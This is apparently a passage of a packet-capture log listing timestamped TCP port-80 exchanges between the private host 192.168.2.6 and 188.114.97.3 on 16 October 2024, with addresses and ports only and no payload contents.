                                                                                    Oct 16, 2024 10:58:13.245034933 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245047092 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245047092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245055914 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245071888 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245098114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245152950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245179892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245188951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245193005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245217085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245230913 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245235920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245249987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245260000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245270014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245279074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245287895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245316029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245338917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245378971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245413065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245421886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245431900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245450974 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245467901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245488882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245501995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245512009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245521069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245536089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245552063 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.245590925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245600939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245609999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.245649099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258061886 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258095980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258105993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258169889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258200884 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258209944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258219957 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258229971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258239031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258317947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258327961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258337975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258347988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258358002 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258433104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258501053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258501053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258501053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258501053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258513927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258523941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258542061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258553028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258555889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258563042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258573055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258579969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258588076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258599043 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258605003 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258622885 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258642912 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258656025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258780956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258831978 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258846045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258892059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258893967 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258904934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258914948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258924961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258934975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258949995 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258966923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258975029 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.258979082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.258989096 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.259007931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.259022951 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304379940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304462910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304472923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304482937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304491997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304507017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304516077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304526091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304533005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304626942 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304677963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304692030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304692030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304693937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304706097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304716110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304734945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304761887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304888010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304898024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304909945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304925919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304935932 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304944038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.304953098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.304981947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.316454887 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316517115 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316531897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316541910 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316551924 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316561937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316621065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316631079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.316675901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.316675901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.316675901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.316699028 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.323582888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323600054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323637962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323666096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.323698997 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.323869944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323935032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323945045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.323981047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324002981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324012995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324023008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324033976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324043989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324069023 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324073076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324079037 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324090004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324100018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324110985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324119091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324145079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324286938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324297905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324306965 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324312925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324322939 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324331045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324331999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324342966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324352980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324362040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324364901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324376106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324383974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:13.324392080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324407101 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.324440002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.326148033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:13.332820892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.751281023 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.756144047 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.756218910 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.756356001 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.756556988 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761140108 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761493921 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761504889 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761548996 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761567116 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761615038 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761624098 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761651039 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761658907 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761665106 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761701107 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761710882 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761718988 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761739969 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.761745930 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.761780977 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.766408920 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766417027 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766469955 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.766469955 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766479969 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766534090 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.766547918 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766556978 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.766597033 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.807549000 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:14.807840109 CEST4979180192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:14.855545998 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:15.232713938 CEST8049791188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:16.213140011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:16.218039036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:16.218125105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:16.218307972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:16.223083973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694421053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694468021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694473028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694478989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694515944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694516897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694550991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694561005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694571018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694581032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694591999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694593906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694616079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694637060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694648981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694652081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694664955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694678068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694730997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.694858074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.694886923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.695255995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.695293903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.700150967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700237036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.700261116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700273037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700282097 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700321913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.700321913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.700917006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700927019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700937033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700969934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.700974941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700984955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.700985909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701016903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701035976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701395988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.701422930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701435089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.701446056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.701459885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.701469898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.701502085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701502085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.701502085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.702332020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.702342033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.702352047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.702430010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.702430010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.705760002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.705801010 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.705806971 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.705946922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.705966949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.706010103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.920201063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.920219898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.920277119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.920277119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922770977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922808886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922822952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922835112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922868013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922871113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922871113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922871113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922883987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.922887087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922938108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.922938108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923017979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923060894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923091888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923105001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923121929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923135042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923180103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923180103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923180103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923268080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923310041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923324108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923336029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923343897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.923424006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923424006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.923424006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.925215006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.925292969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.925313950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.925358057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.927851915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.927896023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.927975893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.927995920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.927995920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928121090 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928172112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928222895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928333998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928383112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928522110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928565025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928692102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928751945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928898096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928910971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928924084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:18.928945065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928945065 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.928963900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:18.929033041 CEST8049802188.114.97.3192.168.2.6
